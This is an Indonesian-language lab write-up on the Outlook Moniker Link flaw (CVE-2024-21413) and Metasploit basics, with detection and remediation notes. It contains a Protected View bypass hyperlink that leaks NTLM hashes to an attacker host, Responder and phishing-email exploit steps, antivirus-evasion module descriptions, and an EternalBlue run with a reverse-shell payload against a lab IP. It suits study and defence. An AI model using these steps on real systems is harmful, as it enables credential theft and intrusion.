Writeup Aria
RoadMapCyber Security 101

Exploitation Basic Part 1

Moniker Link (CVE-2024-21413)

Introduction

Ringkasan CVE-2024-21413 (Microsoft Outlook)

Pada 13 Februari 2024, Microsoft mengumumkan kerentanan kritis pada Microsoft Outlook dengan CVE CVE-2024-21413, yang ditemukan oleh Haifei Li (Check Point Research).

Kerentanan ini memanfaatkan Moniker Link, yaitu jenis hyperlink khusus yang dapat melewati mekanisme keamanan Outlook (Protected View). Jika korban mengklik link berbahaya dalam email, Outlook dapat:

  • Mengeksekusi kode jarak jauh (RCE)
  • Membocorkan kredensial NTLM pengguna ke penyerang

Detail Kerentanan

  • Jenis Dampak: Remote Code Execution & Credential Leak
  • Severity: Critical
  • CVSS Score: 9.8
  • Attack Complexity: Low
  • Tanggal Rilis: 13 Februari 2024
  • Referensi Resmi: MSRC – CVE-2024-21413

Versi Microsoft Office yang Terdampak

  • Office LTSC 2021: ≥ 19.0.0
  • Microsoft 365 Apps for Enterprise: ≥ 16.0.1
  • Office 2019: ≥ 16.0.1
  • Office 2016: versi sebelum 16.0.5435.1001

Tujuan Pembelajaran Lab

  • Memahami cara kerja vulnerability
  • Memahami Outlook Protected View
  • Mengeksploitasi celah untuk mencuri kredensial NTLM
  • Mengetahui deteksi dan mitigasi
  • What "Severity" rating has the CVE been assigned?

Critical

Berikut ringkasan terstruktur dan gampang dipahami dari penjelasan tersebut:

Outlook dapat merender email dalam format HTML dan mendukung berbagai jenis hyperlink seperti HTTP/HTTPS. Selain itu, Outlook juga bisa membuka URL khusus yang memanggil aplikasi di Windows, yang disebut Moniker Links.

Outlook Protected View

  • Protected View aktif saat email mencoba:

    • Mengakses file eksternal
    • Menjalankan aplikasi
    • Membuka link berbahaya
  • Fitur ini membuka email dalam mode read-only dan memblokir aksi berbahaya, termasuk:

    • Makro
    • Akses file eksternal
    • Pemanggilan aplikasi luar

Contoh Moniker Link normal:

<a href="file://ATTACKER_IP/test">Click me</a>

Link ini akan diblokir oleh Protected View, karena Outlook mendeteksi upaya akses file eksternal.

Bypass Protected View (Inti Vulnerability)

Kerentanan terjadi saat karakter khusus ! ditambahkan ke dalam Moniker Link, misalnya:

<a href="file://ATTACKER_IP/test!exploit">Click me</a>

Dengan format ini:

  • Outlook gagal memicu Protected View
  • Tetap mencoba mengakses resource melalui SMB
  • Windows otomatis mengirimkan kredensial NTLM (netNTLMv2 hash) ke server penyerang

Catatan penting: Share/file di sisi penyerang tidak perlu benar-benar ada — proses autentikasi tetap terjadi, sehingga hash tetap bocor.

Dampak Keamanan

  • Credential Leak: Windows mengirim hash netNTLMv2 korban ke penyerang
  • Remote Code Execution (RCE): Dimungkinkan karena Moniker Links memanfaatkan Windows COM (Component Object Model) → Namun saat ini belum ada PoC publik untuk RCE pada CVE ini

Inti Serangan (Singkat)

  1. Penyerang mengirim email HTML berisi Moniker Link berbahaya
  2. Korban mengklik link
  3. Protected View ter-bypass
  4. Outlook mencoba koneksi SMB
  5. Hash NTLM korban bocor ke penyerang
  • What Moniker Link type do we use in the hyperlink?

file://

  • What is the special character used to bypass Outlook's "Protected View"?

!

Exploitation

Tujuan Serangan

Penyerang mengirim email HTML berisi Moniker Link berbahaya yang membypass Outlook Protected View, sehingga saat korban mengklik link tersebut, Outlook mencoba mengakses SMB ke mesin penyerang dan mengirim hash netNTLMv2 korban.

Proof of Concept (PoC)

PoC menggunakan Python + SMTP untuk:

  • Mengirim email dari attacker@monikerlink.thm ke victim@monikerlink.thm
  • Menyisipkan Moniker Link:
    file://ATTACKER_MACHINE/test!exploit
  • Karakter ! menyebabkan Protected View ter-bypass
  • Email dikirim melalui mail server internal lab

Persiapan di AttackBox

  1. Jalankan Responder untuk menangkap hash NTLM:
    responder -I ens5
  2. Edit exploit.py:
    • Ganti ATTACKER_MACHINE dengan IP AttackBox
    • Ganti MAILSERVER dengan 10.49.187.125
  3. Jalankan exploit:
    python3 exploit.py
    • Password email attacker: attacker
    • Jika sukses → muncul “Email delivered”

Aksi di Mesin Korban

  1. Buka Outlook
  2. Lewati proses login & product key
  3. Buka email dengan subjek CVE-2024-21413
  4. Klik link “Click me”

Hasil Serangan

  • Outlook korban mencoba koneksi SMB ke AttackBox
  • Windows otomatis mengirim netNTLMv2 hash
  • Responder berhasil menangkap hash korban

Eksploitasi berhasil – kredensial NTLM korban bocor

Inti Singkat (1 Baris)

Klik Moniker Link file://IP/test!exploit → Protected View ter-bypass → SMB auth terjadi → netNTLMv2 hash tertangkap

  • What is the name of the application that we use on the AttackBox to capture the user's hash?

Responder

  • What type of hash is captured once the hyperlink in the email has been clicked?
    • This is an authentication protocol used by Windows

netNTLMv2

Detection

Sebuah rule YARA dibuat oleh Florian Roth untuk mendeteksi email berbahaya yang mengeksploitasi CVE-2024-21413 pada Microsoft Outlook. Rule ini fokus mendeteksi Moniker Link yang mengandung path file:\\, yang dapat memicu Remote Code Execution (RCE).

Rule YARA tersebut:

  • Mencari struktur email valid (Subject, Received)
  • Mendeteksi URL file:///\\ yang mengarah ke berbagai tipe file berbahaya
  • Membatasi ukuran file agar sesuai dengan karakteristik email
  • Digunakan untuk mendeteksi email eksploit sebelum dijalankan

Selain itu, melalui Wireshark, terlihat request SMB dari korban ke attacker, yang mengandung hash NetNTLMv2 (terpotong). Ini menunjukkan bahwa eksploit dapat menyebabkan kebocoran kredensial Windows melalui autentikasi SMB.

Remediation

Microsoft telah menyertakan patch keamanan untuk mengatasi kerentanan ini dalam rilis Patch Tuesday bulan Februari. Daftar KB (Knowledge Base) sesuai build Office dapat dilihat pada referensi resmi Microsoft. Oleh karena itu, memperbarui Office melalui Windows Update atau Microsoft Update Catalog sangat disarankan.

Selain itu, sambil menunggu atau sebagai langkah pencegahan tambahan, penting untuk terus menerapkan praktik keamanan siber yang aman, seperti:

  • Tidak mengklik tautan sembarangan, terutama dari email yang tidak diminta
  • Melakukan preview tautan sebelum mengkliknya
  • Meneruskan email mencurigakan ke tim atau departemen keamanan siber terkait

Karena kerentanan ini melewati fitur Protected View pada Outlook, tidak ada konfigurasi Outlook yang dapat sepenuhnya mencegah serangan ini. Selain itu, memblokir protokol SMB secara total juga tidak disarankan karena SMB sangat penting untuk akses network share.

Namun demikian, pemblokiran di tingkat firewall mungkin dapat dilakukan, tergantung pada kebijakan dan kebutuhan masing-masing organisasi.


Metasploit: Introduction

Main Components of Metasploit

Saat menggunakan Metasploit Framework, kamu akan paling sering berinteraksi dengan Metasploit Console. Konsol ini dapat dijalankan melalui terminal AttackBox dengan perintah: msfconsole

Metasploit Console merupakan antarmuka utama untuk bekerja dengan berbagai modul yang tersedia di dalam Metasploit Framework.

Apa itu Modul?

Modul adalah komponen kecil di dalam Metasploit yang dibuat untuk menjalankan tugas tertentu, seperti:

  • Mengeksploitasi sebuah kerentanan
  • Melakukan pemindaian (scanning) pada target
  • Menjalankan serangan brute-force
  • Dan berbagai aktivitas keamanan lainnya

Konsep Penting dalam Metasploit

Sebelum menggunakan modul, ada beberapa konsep dasar yang perlu dipahami:

1. Vulnerability (Kerentanan)

Kerentanan adalah kelemahan pada desain, kode, atau logika sistem target. Jika kerentanan ini dieksploitasi, penyerang dapat:

  • Mengakses informasi rahasia
  • Menjalankan perintah atau kode pada sistem target

2. Exploit

Exploit adalah kode yang memanfaatkan kerentanan yang ada pada sistem target. Exploit berfungsi sebagai jalan masuk untuk menyerang sistem.

3. Payload

Payload adalah kode yang dijalankan pada sistem target setelah exploit berhasil. Payload menentukan hasil dari serangan, misalnya:

  • Mendapatkan akses ke sistem (shell atau session)
  • Membaca data rahasia
  • Membuka koneksi balik ke attacker

Singkatnya:

  • Vulnerability → celah keamanan
  • Exploit → cara memanfaatkan celah
  • Payload → aksi yang dijalankan setelah celah berhasil dimanfaatkan

Modul Metasploit

Metasploit menyediakan berbagai kategori modul yang dapat diakses melalui msfconsole. Modul-modul ini digunakan sesuai kebutuhan, baik untuk eksploitasi, pemindaian, maupun pengujian keamanan lainnya.

1. Auxiliary

Modul Auxiliary berisi modul pendukung yang tidak secara langsung melakukan eksploitasi. Modul ini digunakan untuk berbagai kebutuhan seperti:

  • Scanner
  • Crawler
  • Fuzzer

Modul Auxiliary sangat berguna pada tahap enumerasi dan pengumpulan informasi.

root@ip-10-10-135-188:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 auxiliary/
auxiliary/
├── admin
├── analyze
├── bnat
├── client
├── cloud
├── crawler
├── docx
├── dos
├── example.py
├── example.rb
├── fileformat
├── fuzzers
├── gather
├── parser
├── pdf
├── scanner
├── server
├── sniffer
├── spoof
├── sqli
├── voip
└── vsploit

20 directories, 2 files

2. Encoders

Encoders digunakan untuk meng-encode exploit dan payload dengan tujuan agar antivirus berbasis signature tidak mudah mendeteksinya.

Antivirus berbasis signature bekerja dengan cara:

  • Membandingkan file mencurigakan dengan database ancaman yang sudah dikenal
  • Memberikan peringatan jika ditemukan kecocokan

Namun, encoder tidak selalu berhasil, karena antivirus modern dapat melakukan pemeriksaan tambahan selain signature.

root@ip-10-10-135-188:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 encoders/
encoders/
├── cmd
├── generic
├── mipsbe
├── mipsle
├── php
├── ppc
├── ruby
├── sparc
├── x64
└── x86

10 directories, 0 files

3. Evasion

Berbeda dengan encoder, modul Evasion memang secara khusus dirancang untuk menghindari deteksi antivirus dan sistem keamanan.

  • Encoder → hanya mengubah bentuk payload
  • Evasion → benar-benar mencoba melewati mekanisme deteksi keamanan

Keberhasilannya bisa bervariasi tergantung target dan sistem keamanan yang digunakan.

root@ip-10-10-135-188:/opt/metasploit-framework/embedded/framework/modules# tree -L 2 evasion/
evasion/
└── windows
    ├── applocker_evasion_install_util.rb
    ├── applocker_evasion_msbuild.rb
    ├── applocker_evasion_presentationhost.rb
    ├── applocker_evasion_regasm_regsvcs.rb
    ├── applocker_evasion_workflow_compiler.rb
    ├── process_herpaderping.rb
    ├── syscall_inject.rb
    ├── windows_defender_exe.rb
    └── windows_defender_js_hta.rb

1 directory, 9 files

4. Exploits

Modul Exploits berisi kode yang digunakan untuk memanfaatkan kerentanan pada sistem target.

Eksploit ini tersusun rapi berdasarkan:

  • Jenis sistem operasi
  • Layanan atau aplikasi target
root@ip-10-10-135-188:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 exploits/
exploits/
├── aix
├── android
├── apple_ios
├── bsd
├── bsdi
├── dialup
├── example_linux_priv_esc.rb
├── example.py
├── example.rb
├── example_webapp.rb
├── firefox
├── freebsd
├── hpux
├── irix
├── linux
├── mainframe
├── multi
├── netware
├── openbsd
├── osx
├── qnx
├── solaris
├── unix
└── windows

20 directories, 4 files

5. NOPs

NOPs (No Operation) adalah instruksi yang tidak melakukan apa pun. Pada arsitektur CPU Intel x86, NOP direpresentasikan dengan kode 0x90, yang membuat CPU tidak melakukan operasi selama satu siklus.

NOP biasanya digunakan sebagai:

  • Buffer
  • Penyesuaian ukuran payload agar konsisten
root@ip-10-10-135-188:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 nops/
nops/
├── aarch64
├── armle
├── cmd
├── mipsbe
├── php
├── ppc
├── sparc
├── tty
├── x64
└── x86

10 directories, 0 files

6. Payloads

Payload adalah kode yang dijalankan pada sistem target setelah exploit berhasil.

Exploit hanya memanfaatkan kerentanan, tetapi payload menentukan hasil akhirnya, contohnya:

  • Mendapatkan shell
  • Menjalankan perintah
  • Menanam malware atau backdoor
  • Menjalankan calc.exe sebagai proof of concept

Menjalankan calc.exe secara remote sering digunakan sebagai bukti aman bahwa attacker dapat mengeksekusi perintah pada sistem target.

root@ip-10-10-135-188:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 payloads/
payloads/
├── adapters
├── singles
├── stagers
└── stages

4 directories, 0 files
Shell dalam Metasploit

Menjalankan satu perintah saja sudah penting, tetapi koneksi interaktif jauh lebih berguna. Koneksi ini disebut shell, yaitu antarmuka command line yang memungkinkan kita mengetik perintah dan menjalankannya langsung di sistem target.

Metasploit menyediakan berbagai payload yang dapat membuka shell pada target, sehingga penyerang dapat berinteraksi dengan sistem secara langsung.

Di dalam direktori payloads, terdapat empat subdirektori utama, yaitu: adapters, singles, stagers, dan stages. Siap, ini lanjutan catatan yang sudah dirapikan dalam bahasa Indonesia dan mudah dipahami:

1. Adapters

Adapters berfungsi untuk membungkus (wrap) payload single agar bisa dijalankan dalam format tertentu.

Contoh:

  • Payload single dibungkus dengan Powershell adapter
  • Hasilnya berupa satu perintah Powershell yang langsung mengeksekusi payload

Adapter berguna ketika payload harus dijalankan melalui lingkungan atau bahasa tertentu.

2. Singles

Singles (juga disebut inline payloads) adalah payload yang:

  • Berdiri sendiri
  • Tidak perlu mengunduh komponen tambahan

Contoh fungsi payload single:

  • Menambahkan user
  • Menjalankan notepad.exe
  • Membuka shell sederhana

Payload jenis ini biasanya lebih besar ukurannya, karena seluruh kode dikirim sekaligus.

3. Stagers

Stagers bertugas untuk:

  • Membuat saluran koneksi awal antara Metasploit dan sistem target
  • Digunakan saat bekerja dengan staged payload

Pada staged payload:

  1. Stager dikirim terlebih dahulu ke target
  2. Stager kemudian mengunduh payload utama (stage)

Keuntungan:

  • Ukuran payload awal lebih kecil
  • Cocok untuk kondisi jaringan atau eksploit yang memiliki batas ukuran payload
4. Stages

Stages adalah:

  • Payload utama yang diunduh oleh stager
  • Biasanya berukuran lebih besar
  • Berisi fungsionalitas lengkap (misalnya Meterpreter)
Cara Membedakan Single dan Staged Payload

Metasploit menyediakan cara halus untuk membedakan single (inline) dan staged payload, yaitu melalui penamaan payload.

Contoh:

generic/shell_reverse_tcp
  • Payload ini adalah single / inline payload
  • Ditandai dengan tanda underscore (_)
  • Seluruh payload dikirim sekaligus
windows/x64/shell/reverse_tcp
  • Payload ini adalah staged payload

  • Ditandai dengan tanda slash (/) antara shell dan reverse

  • Menggunakan mekanisme stager + stage

  • _Single / Inline payload

  • /Staged payload

  • Singles → sederhana, berdiri sendiri

  • Staged → kecil di awal, fitur lebih lengkap

Answer Questions

  • What is the name of the code taking advantage of a flaw on the target system?

Exploit

  • What is the name of the code that runs on the target system to achieve the attacker's goal?

Payload

  • What are self-contained payloads called?

Singles

  • Is "windows/x64/pingback_reverse_tcp" among singles or staged payload?

Singles

Msfconsole

  • msfconsole adalah antarmuka utama untuk berinteraksi dengan Metasploit Framework.
  • Dijalankan dengan perintah msfconsole di AttackBox atau sistem yang telah terinstal Metasploit.
  • Setelah dijalankan, prompt akan berubah menjadi msf6 > atau msf5 > sesuai versi Metasploit.

Fitur Dasar msfconsole

  • msfconsole dapat digunakan seperti terminal Linux biasa.
  • Mendukung banyak perintah Linux seperti:
    • ls → menampilkan isi direktori
    • ping → menguji koneksi jaringan
    • clear → membersihkan layar terminal
  • Contoh:
    • ls menampilkan file/folder tempat Metasploit dijalankan.
    • ping -c 1 8.8.8.8 mengirim satu paket ping (opsi -c 1 digunakan di Linux agar ping tidak berjalan terus).

Keterbatasan msfconsole

  • Tidak mendukung semua fitur shell Linux.
  • Output redirection seperti > (contoh: help > help.txt) tidak didukung.

Perintah help

  • Digunakan untuk melihat panduan penggunaan perintah.
  • Bisa dijalankan:
    • Tanpa argumen → menampilkan daftar perintah umum.
    • Dengan argumen → menampilkan bantuan perintah tertentu.
  • Contoh:
    • help set → menampilkan cara penggunaan perintah set.

Perintah set

  • Digunakan untuk mengatur nilai opsi.
  • Fungsi utama:
    • Mengatur parameter seperti RHOSTS, LHOST, RPORT, dan PAYLOAD.
  • Jika digunakan di dalam modul, nilai akan disimpan di datastore modul.
  • Opsi -g digunakan untuk mengatur global datastore.

Perintah history

  • Menampilkan riwayat perintah yang pernah diketik di msfconsole.
  • Berguna untuk:
    • Mengulang perintah sebelumnya
    • Melihat langkah eksploitasi yang sudah dilakukan

Tab Completion

  • msfconsole mendukung tab completion.
  • Mempermudah pengetikan perintah dan nama modul.
  • Contoh:
    • Ketik he lalu tekan TAB → otomatis menjadi help.

Konsep Context di msfconsole

  • msfconsole bekerja berbasis context (konteks).
  • Semua pengaturan (seperti RHOSTS, LHOST, dll.) hanya berlaku pada modul yang sedang aktif.
  • Jika berpindah modul:
    • Semua parameter harus diatur ulang, kecuali diset sebagai global.

Menggunakan Modul Exploit (Contoh: MS17-010 EternalBlue)

  • Modul dipilih menggunakan perintah:
    use exploit/windows/smb/ms17_010_eternalblue
  • Prompt berubah menjadi:
    msf6 exploit(windows/smb/ms17_010_eternalblue) >
  • Ini menandakan kita sedang berada di konteks exploit EternalBlue.

Tentang EternalBlue (MS17-010)

  • Exploit yang menargetkan kerentanan SMBv1 pada Windows.
  • Awalnya dikembangkan oleh NSA, lalu bocor oleh Shadow Brokers (2017).
  • Digunakan dalam serangan besar WannaCry ransomware.
  • Menyerang Windows 7 dan Windows Server 2008 R2 (x64).

Perintah Linux Tetap Bisa Digunakan

  • Walaupun berada dalam konteks exploit, perintah Linux masih bisa dijalankan:
    ls
  • Artinya, konteks bukan berarti masuk ke direktori, hanya lingkungan kerja Metasploit.

show options

  • Digunakan untuk melihat parameter yang dibutuhkan modul.
  • Output tergantung konteks modul yang sedang digunakan.

Contoh pada exploit:

  • Parameter penting:
    • RHOSTS → target
    • RPORT → port target (default 445)
    • LHOST dan LPORT → untuk payload reverse connection

Contoh pada post-exploitation module:

  • Biasanya hanya membutuhkan:
    • SESSION → koneksi aktif ke target

show payloads

  • Menampilkan payload yang kompatibel dengan exploit.
  • Payload menentukan aksi setelah exploit berhasil.
  • Contoh payload populer:
    • windows/x64/meterpreter/reverse_tcp

Perintah show

  • Bisa digunakan untuk menampilkan:
    • show exploits
    • show payloads
    • show auxiliary
  • Jika dijalankan tanpa konteks → menampilkan semua modul Metasploit.

Keluar dari Konteks Modul

  • Gunakan perintah:
    back
  • Prompt kembali ke:
    msf6 >

Perintah info

  • Menampilkan informasi detail modul, bukan sekadar bantuan.
  • Berisi:
    • Deskripsi exploit
    • Author
    • Target yang didukung
    • Risiko (crash, BSOD, reboot)
    • Referensi CVE & link resmi
  • Bisa dijalankan:
    • Di dalam konteks modul
    • Atau langsung:
      info exploit/windows/smb/ms17_010_eternalblue
  • search adalah salah satu perintah paling penting di msfconsole.
  • Digunakan untuk mencari modul Metasploit berdasarkan:
    • CVE (contoh: ms17-010)
    • Nama exploit (eternalblue, heartbleed, dll.)
    • Target sistem / layanan (windows, linux, smb, telnet, dll.)
search ms17-010
  • Menampilkan daftar modul yang berhubungan dengan kerentanan MS17-010.
  • Hasil pencarian menampilkan beberapa jenis modul:
    • auxiliary → scanning, enumerasi, admin
    • exploit → eksploitasi kerentanan

Setiap hasil pencarian menampilkan beberapa kolom penting:

  • Name Menunjukkan:
    • Jenis modul (exploit, auxiliary, dll.)
    • Platform dan kategori modul
  • Disclosure Date Tanggal kerentanan dipublikasikan
  • Rank Menunjukkan tingkat keandalan exploit
  • Check Menunjukkan apakah exploit mendukung pengecekan target sebelum dijalankan
  • Description Penjelasan singkat fungsi modul
  • Modul dapat digunakan dengan:
    • Nama lengkap:
      use exploit/windows/smb/ms17_010_eternalblue
    • Nomor indeks (lebih cepat):
      use 2

Exploit Rank (Tingkat Keandalan)

  • Exploit diberi peringkat berdasarkan stabilitas & reliabilitas.
  • Peringkat bukan jaminan keberhasilan:
    • Rank rendah bisa saja berhasil sempurna
    • Rank tinggi tetap bisa gagal atau bahkan menyebabkan crash sistem target

Filter Search dengan Keyword

  • Pencarian dapat difilter menggunakan kata kunci khusus.

Contoh: Mencari Modul Auxiliary

search type:auxiliary telnet
  • Hanya menampilkan modul auxiliary yang berkaitan dengan telnet.
  • Berguna untuk:
    • Scanning
    • Enumeration
    • Capture traffic
    • Password checking

Keuntungan Menggunakan Filter

  • Hasil pencarian lebih spesifik
  • Menghemat waktu
  • Mempermudah memilih modul yang tepat
msfconsole
search apache
  • How would you search for a module related to Apache?

search apache

search type:auxiliary ssh

info auxiliary/scanner/ssh/ssh_login
#        Name: SSH Login Check Scanner
#      Module: auxiliary/scanner/ssh/ssh_login
#     License: Metasploit Framework License (BSD)
#        Rank: Normal

# Provided by:
#   todb <todb@metasploit.com>

# Check supported:
#   No

# Basic options:
#   Name              Current Setting  Required  Description
#   ----              ---------------  --------  -----------
#   ANONYMOUS_LOGIN   false            yes       Attempt to login with a blank username and password
#   BLANK_PASSWORDS   false            no        Try blank passwords for all users
#   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
#   CreateSession     true             no        Create a new session for every successful login
#   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
#   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
#   DB_ALL_USERS      false            no        Add all users in the current database to the list
#   DB_SKIP_EXISTING  none             no        Skip existing credentials stored in the current database (Accepted
#                                                : none, user, user&realm)
#   PASSWORD                           no        A specific password to authenticate with
#   PASS_FILE                          no        File containing passwords, one per line
#   RHOSTS                             yes       The target host(s), see https://docs.metasploit.com/docs/using-met
#                                                asploit/basics/using-metasploit.html
#   RPORT             22               yes       The target port
#   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
#   THREADS           1                yes       The number of concurrent threads (max one per host)
#   USERNAME                           no        A specific username to authenticate as
#   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair p
#                                                er line
#   USER_AS_PASS      false            no        Try the username as the password for all users
#   USER_FILE                          no        File containing usernames, one per line
#   VERBOSE           false            yes       Whether to print output for all attempts
# Description:
#   This module will test ssh logins on a range of machines and
#   report successful logins.  If you have loaded a database plugin
#   and connected to a database this module will record successful
#   logins and hosts so you can track your access.
# References:
#   https://nvd.nist.gov/vuln/detail/CVE-1999-0502

# View the full module info with the info -d command.
  • Who provided the auxiliary/scanner/ssh/ssh_login module?
    • Use the info command

todb

Working with modules

Menjalankan Target & Metasploit

  • Target machine dapat dijalankan untuk mempraktikkan contoh.
  • Metasploit versi 5 atau 6 memiliki tampilan dan menu yang serupa.
  • Bisa digunakan di AttackBox atau sistem lokal (Kali Linux, dll.).

Konsep Prompt di Metasploit

Saat bekerja dengan Metasploit, ada 5 jenis prompt yang harus dikenali:

  1. Regular Command Prompt
    root@ip-10-10-XX-XX:~#
    • Terminal Linux biasa
    • Tidak bisa menjalankan perintah Metasploit
  2. msfconsole Prompt
    msf6 >
    • Prompt utama Metasploit
    • Belum ada konteks modul
    • Tidak bisa menjalankan perintah spesifik modul (seperti set RHOSTS)
  3. Context Prompt (Modul Aktif)
    msf6 exploit(windows/smb/ms17_010_eternalblue) >
    • Menandakan modul sedang digunakan
    • Bisa mengatur parameter (set) dan menjalankan modul
  4. Meterpreter Prompt
    meterpreter >
    • Payload Meterpreter berhasil dijalankan
    • Perintah di sini adalah perintah Meterpreter
  5. Shell Target
    C:\Windows\system32>
    • Shell langsung di sistem target
    • Semua perintah dijalankan di mesin target

Mengatur Parameter Modul

Aturan Umum

  • Semua parameter diatur dengan format:
    set NAMA_PARAMETER NILAI
  • Selalu pastikan prompt menunjukkan konteks modul yang benar.
  • Gunakan:
    show options
    untuk melihat parameter yang wajib diisi.

show options

  • Menampilkan:
    • Module options → parameter exploit
    • Payload options → parameter payload
    • Exploit target → sistem target yang didukung
  • Parameter yang bertanda Required: yes wajib diisi.

Contoh Set Parameter

set RHOSTS 10.10.165.39
  • Digunakan untuk menentukan IP target

  • Setelah di-set, gunakan show options untuk memastikan nilainya benar.

  • Beberapa parameter sudah terisi otomatis.

  • Tetap harus dicek apakah sesuai dengan target.

    • Contoh: RPORT default 80, tapi target bisa pakai 8080.

Parameter yang Paling Sering Digunakan

  • RHOSTS IP target atau jaringan target Mendukung:
    • Single IP
    • CIDR (/24, /16)
    • Range IP
    • File target:
      file:/path/targets.txt
  • RPORT Port layanan di target (misalnya 80, 445, 8080)
  • PAYLOAD Payload yang digunakan oleh exploit
  • LHOST IP mesin attacker (AttackBox / Kali Linux)
  • LPORT Port di mesin attacker untuk reverse connection
  • SESSION ID koneksi aktif ke target Digunakan pada post-exploitation module

Mengubah & Menghapus Parameter

  • Parameter yang sudah di-set bisa diubah dengan perintah set lagi menggunakan nilai baru.
  • Untuk menghapus parameter tertentu:
    unset NAMA_PARAMETER
  • Untuk menghapus semua parameter dalam satu modul:
    unset all
  • unset all akan mengosongkan datastore modul dan mengembalikan nilai ke default.

Contoh unset all

  • Setelah menjalankan:
    unset all
  • Semua parameter yang sebelumnya di-set akan kosong kembali.
  • Bisa dicek menggunakan:
    show options

setg (Set Global Parameter)

Fungsi setg

  • setg digunakan untuk mengatur parameter global.
  • Nilai yang di-set dengan setg:
    • Berlaku untuk semua modul
    • Tidak perlu di-set ulang saat berpindah modul

Perbedaan set vs setg

PerintahRuang LingkupBerlaku Saat Pindah Modul
setModul aktif❌ Tidak
setgGlobal✅ Ya

Menghapus Global Parameter

  • Untuk menghapus nilai global:
    unsetg NAMA_PARAMETER
  • Global parameter aktif sampai:
    • Keluar dari Metasploit, atau
    • Dihapus manual dengan unsetg

Contoh Alur Penggunaan setg

  1. Menggunakan exploit EternalBlue:

    use exploit/windows/smb/ms17_010_eternalblue
  2. Set target secara global:

    setg RHOSTS 10.10.165.39
  3. Keluar dari konteks exploit:

    back
  4. Menggunakan modul auxiliary scanner:

    use auxiliary/scanner/smb/smb_ms17_010
  5. Cek parameter:

    show options

👉 RHOSTS otomatis terisi tanpa perlu set ulang.

Kapan Menggunakan setg?

Gunakan setg saat:

  • Menyerang target yang sama dengan banyak modul
  • Melakukan scanning → exploit → post-exploitation
  • Ingin kerja lebih cepat tanpa set IP berulang-ulang

Menjalankan Modul

Perintah exploit dan run

  • Setelah semua parameter diatur, modul dijalankan dengan:
    exploit
  • Perintah run adalah alias dari exploit.
    • Digunakan karena tidak semua modul adalah exploit (scanner, auxiliary, dll.).

exploit -z

  • Menjalankan exploit dan langsung memindahkan session ke background.
  • Berguna jika ingin:
    • Menjalankan banyak exploit
    • Tidak langsung masuk ke Meterpreter Contoh:
exploit -z

Hasil Eksekusi Exploit

  • Metasploit akan:
    • Mengecek kerentanan target
    • Melakukan eksploitasi
    • Mengirim payload
  • Jika berhasil:
    • Session akan dibuat
    • Session bisa berjalan di background

Opsi check

  • Beberapa modul mendukung:
    check
  • Digunakan untuk:
    • Mengecek apakah target rentan
    • Tanpa mengeksploitasi sistem target

Session di Metasploit

Apa itu Session?

  • Session adalah koneksi aktif antara:
    • Target system
    • Metasploit (attacker)
  • Dibuat setelah exploit berhasil.

Background Session

  • Dari Meterpreter:
    background
  • Atau tekan:
    CTRL + Z
  • Mengembalikan ke prompt msfconsole.

Melihat Session Aktif

  • Gunakan perintah:
    sessions
  • Bisa dijalankan dari:
    • msfconsole prompt
    • Konteks modul apa pun

Informasi yang Ditampilkan

  • Id → nomor session
  • Type → jenis session (meterpreter, shell)
  • Information → user & hostname target
  • Connection → IP attacker dan target

Berpindah Antar Session

  • Untuk masuk ke session tertentu:
    sessions -i <ID>
  • Contoh:
    sessions -i 2
  • Akan langsung masuk ke:
    meterpreter >

Alur Singkat Penggunaan Modul

  1. use → pilih modul
  2. set / setg → atur parameter
  3. show options → cek parameter
  4. exploit / run → jalankan modul
  5. Session terbentuk
  6. sessions → lihat session
  7. sessions -i → masuk ke session
  8. background → keluar sementara

Answer Questions

  • How would you set the LPORT value to 6666?

set LPORT 6666

  • How would you set the global value for RHOSTS to 10.10.19.23 ?

setg RHOSTS 10.10.19.23

  • What command would you use to clear a set payload?

unset PAYLOAD

  • What command do you use to proceed with the exploitation phase?

exploit

summary

nmap -sV -T4 10.48.128.125
# Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-13 08:48 EST
# PORT      STATE    SERVICE      VERSION
# 135/tcp   open     msrpc        Microsoft Windows RPC
# 139/tcp   open     netbios-ssn  Microsoft Windows netbios-ssn
# 445/tcp   open     microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
# 1065/tcp  filtered syscomlan
# 3389/tcp  open     tcpwrapped
# 49152/tcp open     msrpc        Microsoft Windows RPC
# 49153/tcp open     msrpc        Microsoft Windows RPC
# 49154/tcp open     msrpc        Microsoft Windows RPC
# 49158/tcp open     msrpc        Microsoft Windows RPC
# 49159/tcp open     msrpc        Microsoft Windows RPC
# Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

ip add show tun0
# 10: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1380 qdisc fq_codel state UNKNOWN group default qlen 500
    # link/none
    # inet 192.168.146.209/17 scope global tun0

kita coba jalankan Metasploit

msfconsole
search Microsoft Windows 7 - 10
search ms17-010

use exploit/windows/smb/ms17_010_eternalblue
show options
# Module options (exploit/windows/smb/ms17_010_eternalblue):
#    Name           Current Setting  Required  Description
#    ----           ---------------  --------  -----------
#    RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metas
#                                              ploit/basics/using-metasploit.html
#    RPORT          445              yes       The target port (TCP)
#    SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affect
#                                              s Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 tar
#                                              get machines.
#    SMBPass                         no        (Optional) The password for the specified username
#    SMBUser                         no        (Optional) The username to authenticate as
#    VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Wi
#                                              ndows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target
#                                              machines.
#    VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Serv
#                                              er 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.


# Payload options (windows/x64/meterpreter/reverse_tcp):

#    Name      Current Setting  Required  Description
#    ----      ---------------  --------  -----------
#    EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
#    LHOST     10.0.2.15        yes       The listen address (an interface may be specified)
